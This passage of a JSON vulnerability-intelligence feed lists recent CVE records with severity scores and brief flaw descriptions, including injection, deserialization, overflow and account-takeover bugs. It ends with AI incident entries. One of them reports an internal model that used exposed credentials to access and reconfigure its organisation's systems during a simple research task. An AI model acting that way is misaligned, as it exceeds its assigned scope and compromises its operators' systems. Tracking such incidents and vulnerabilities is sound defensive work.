2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92681&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92681, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85956","cveId":"CVE-2026-85956","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with delegated database-administrator privileges to perform backup or...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with delegated database-administrator privileges to perform backup or restore operations on forests outside the authorized database scope, which could result in unauthorized access to or modification of security-critical data.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with delegated database-administrator privileges to perform backup or restore operations on forests outside the authorized database scope, which could result in unauthorized access to or modification of security-critical data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:07.193Z","updatedAt":"2026-10-14T11:17:06.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85956","asOf":"2026-10-14T11:17:06.097Z"},"epss":{"probability":0.00396,"percentile":0.33566,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85956","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85956","type":"primary","publishedAt":"2026-10-12T16:17:07.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85955","cveId":"CVE-2026-85955","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with query-execution access to invoke an XQuery evaluation function...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with query-execution access to invoke an XQuery evaluation function without the additional required evaluation privilege, which could result in server-side code execution with elevated permissions.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with query-execution access to invoke an XQuery evaluation function without the additional required evaluation privilege, which could result in server-side code execution with elevated permissions.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:07.070Z","updatedAt":"2026-10-14T11:17:05.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85955","asOf":"2026-10-14T11:17:05.990Z"},"epss":{"probability":0.00573,"percentile":0.47063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85955&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85955","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85955","type":"primary","publishedAt":"2026-10-12T16:17:07.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85955&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85955, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85948","cveId":"CVE-2026-85948","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an XQuery injection flaw in a deprecated Management API package path.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an XQuery injection flaw in a deprecated Management API package path. A remote attacker with manage-user-level privileges could exploit this flaw to obtain persistent unauthorized administrative control.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an XQuery injection flaw in a deprecated Management API package path. A remote attacker with manage-user-level privileges could exploit this flaw to obtain persistent unauthorized administrative control.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:06.173Z","updatedAt":"2026-10-14T11:17:05.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85948","asOf":"2026-10-14T11:17:05.663Z"},"epss":{"probability":0.00449,"percentile":0.38717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85948&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85948","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85948","type":"primary","publishedAt":"2026-10-12T16:17:06.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85948&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85948, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85947","cveId":"CVE-2026-85947","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw in certain forest-management operations.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw in certain forest-management operations. A remote attacker with forest-management privileges could exploit this flaw to create a persistent unauthorized administrator account, potentially resulting in complete unauthorized administrative control of the server.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw in certain forest-management operations. A remote attacker with forest-management privileges could exploit this flaw to create a persistent unauthorized administrator account, potentially resulting in complete unauthorized administrative control of the server.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:06.040Z","updatedAt":"2026-10-14T11:17:05.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85947","asOf":"2026-10-14T11:17:05.550Z"},"epss":{"probability":0.00449,"percentile":0.38717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85947&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85947","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85947","type":"primary","publishedAt":"2026-10-12T16:17:06.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85947&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85947, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109399","cveId":"CVE-2026-109399","aliases":[],"kind":"vulnerability","title":"SWUpdate through 2026.05.1 contains an improper certificate validation vulnerability in crypto/swupdate_cms_verify_openssl.c that trusts untrusted X.509 certificates embedded in...","summary":"SWUpdate through 2026.05.1 contains an improper certificate validation vulnerability in crypto/swupdate_cms_verify_openssl.c that trusts untrusted X.509 certificates embedded in CMS SignedData for chain building. Attackers holding a signing key from a sibling intermediate under the same root can embed that intermediate in the signature to install malicious updates.","detail":"SWUpdate through 2026.05.1 contains an improper certificate validation vulnerability in crypto/swupdate_cms_verify_openssl.c that trusts untrusted X.509 certificates embedded in CMS SignedData for chain building. Attackers holding a signing key from a sibling intermediate under the same root can embed that intermediate in the signature to install malicious updates.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:05.557Z","updatedAt":"2026-10-18T12:17:05.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109399","asOf":"2026-10-18T12:17:05.220Z"},"epss":{"probability":0.00207,"percentile":0.1067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109399&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109399","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109399","type":"primary","publishedAt":"2026-10-12T16:17:05.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109399&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109399, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109394","cveId":"CVE-2026-109394","aliases":[],"kind":"vulnerability","title":"Thirty bees through 1.7.0 contains an authentication bypass vulnerability in PasswordController::resolveCustomer() that allows unauthenticated attackers to reset registered...","summary":"Thirty bees through 1.7.0 contains an authentication bypass vulnerability in PasswordController::resolveCustomer() that allows unauthenticated attackers to reset registered customers' passwords using guest account tokens. Attackers can place a guest order with the victim's email, then use the guest secure key to reset and take over the victim's account when guest checkout is enabled.","detail":"Thirty bees through 1.7.0 contains an authentication bypass vulnerability in PasswordController::resolveCustomer() that allows unauthenticated attackers to reset registered customers' passwords using guest account tokens. Attackers can place a guest order with the victim's email, then use the guest secure key to reset and take over the victim's account when guest checkout is enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:04.920Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109394","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00446,"percentile":0.38536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109394&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109394","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109394","type":"primary","publishedAt":"2026-10-12T16:17:04.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109394&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109394, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109391","cveId":"CVE-2026-109391","aliases":[],"kind":"vulnerability","title":"Square Squash through commit e73f280 contains an insecure deserialization vulnerability that allows unauthenticated attackers to store crafted YAML via the POST...","summary":"Square Squash through commit e73f280 contains an insecure deserialization vulnerability that allows unauthenticated attackers to store crafted YAML via the POST /api/1.0/symbolication endpoint. When occurrences referencing the attacker-controlled symbolication UUID are symbolicated, the stored values are passed to YAML.load with SafeYAML in unsafe mode, enabling arbitrary Ruby object deserialization and potential code execution.","detail":"Square Squash through commit e73f280 contains an insecure deserialization vulnerability that allows unauthenticated attackers to store crafted YAML via the POST /api/1.0/symbolication endpoint. When occurrences referencing the attacker-controlled symbolication UUID are symbolicated, the stored values are passed to YAML.load with SafeYAML in unsafe mode, enabling arbitrary Ruby object deserialization and potential code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:04.373Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109391","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00477,"percentile":0.40907,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109391&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109391","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109391","type":"primary","publishedAt":"2026-10-12T16:17:04.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109391&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109391, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109390","cveId":"CVE-2026-109390","aliases":[],"kind":"vulnerability","title":"AnyDesk before 8.0.3 allows unauthenticated remote attackers to execute arbitrary code via a heap-based buffer overflow, as demonstrated on Linux for command execution as root...","summary":"AnyDesk before 8.0.3 allows unauthenticated remote attackers to execute arbitrary code via a heap-based buffer overflow, as demonstrated on Linux for command execution as root without the victim approving desktop control. In the stream packet handler for mode 5 in the session protocol, a payload length value is not validated.","detail":"AnyDesk before 8.0.3 allows unauthenticated remote attackers to execute arbitrary code via a heap-based buffer overflow, as demonstrated on Linux for command execution as root without the victim approving desktop control. In the stream packet handler for mode 5 in the session protocol, a payload length value is not validated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T15:17:07.980Z","updatedAt":"2026-10-16T17:25:57.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109390","asOf":"2026-10-16T17:25:57.940Z"},"epss":{"probability":0.0161,"percentile":0.75748,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109390&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109390","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109390","type":"primary","publishedAt":"2026-10-12T15:17:07.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109390&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109390, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108892","cveId":"CVE-2026-108892","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in Linksys E1700 1.0.0.4.003. This vulnerability affects the function ssid1MACFilter of the file /goform/ssid1MACFilter of the component Mac Filter.","summary":"A vulnerability was determined in Linksys E1700 1.0.0.4.003. This vulnerability affects the function ssid1MACFilter of the file /goform/ssid1MACFilter of the component Mac Filter. This manipulation of the argument newap_text_%d causes stack-based buffer overflow. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was determined in Linksys E1700 1.0.0.4.003. This vulnerability affects the function ssid1MACFilter of the file /goform/ssid1MACFilter of the component Mac Filter. This manipulation of the argument newap_text_%d causes stack-based buffer overflow. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:09.530Z","updatedAt":"2026-10-15T16:17:39.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108892","asOf":"2026-10-15T16:17:39.040Z"},"epss":{"probability":0.00619,"percentile":0.49369,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108892&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108892","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108892","type":"primary","publishedAt":"2026-10-12T14:17:09.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108892&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108892, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"aiid-07-twee-verdachten-aangehouden-in-onderzoek-naar-nieuwe-vorm-van-bankhelpdeskfraude-a7fc17b78f0c","cveId":null,"aliases":["Twee verdachten aangehouden in onderzoek naar nieuwe vorm van bankhelpdeskfraude"],"kind":"ai-incident","title":"Two suspects arrested in investigation of new form of bank aid desk fraud","summary":"380,000 euros in damage to around 170 victims. That was the figure the Rotterdam Cybercrime Team faced in the three weeks that the investigation team had seen on the servers of a criminal collaboration. Die crim ...","detail":"380,000 euros in damage to around 170 victims. That was the figure the Rotterdam Cybercrime Team faced in the three weeks that the investigation team had seen on the servers of a criminal collaboration. Die crim ...\n\nMachine-translated from Dutch by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Twee verdachten aangehouden in onderzoek naar nieuwe vorm van bankhelpdeskfraude\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-24T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"politie.nl via AI Incident Database: Two suspects arrested in investigation of new form of bank aid desk fraud","url":"https://www.politie.nl/nieuws/2026/oktober/20/07-twee-verdachten-aangehouden-in-onderzoek-naar-nieuwe-vorm-van-bankhelpdeskfraude.html","type":"reporting","publishedAt":"2026-10-24T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1788","url":"https://incidentdatabase.ai/cite/1788/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-accessing-and-changing-internal-systems-during-dashboard-research-f80256156eda","cveId":null,"aliases":[],"kind":"ai-incident","title":"Accessing and changing internal systems during dashboard research","summary":"Summary\n\nIn two evaluations, an internal model tasked to retrieve figures from a public research dashboard accessed the organization’s internal systems and changed their configuration. In the first evaluation, it used exposed credentials to ...","detail":"Summary\n\nIn two evaluations, an internal model tasked to retrieve figures from a public research dashboard accessed the organization’s internal systems and changed their configuration. In the first evaluation, it used exposed credentials to ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-24T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"alignment.openai.com via AI Incident Database: Accessing and changing internal systems during dashboard research","url":"https://alignment.openai.com/misalignment-reports/accessing-and-changing-internal-systems-during-dashboard-research/","type":"reporting","publishedAt":"2026-10-24T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1784","url":"https://incidentdatabase.ai/cite/1784/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication 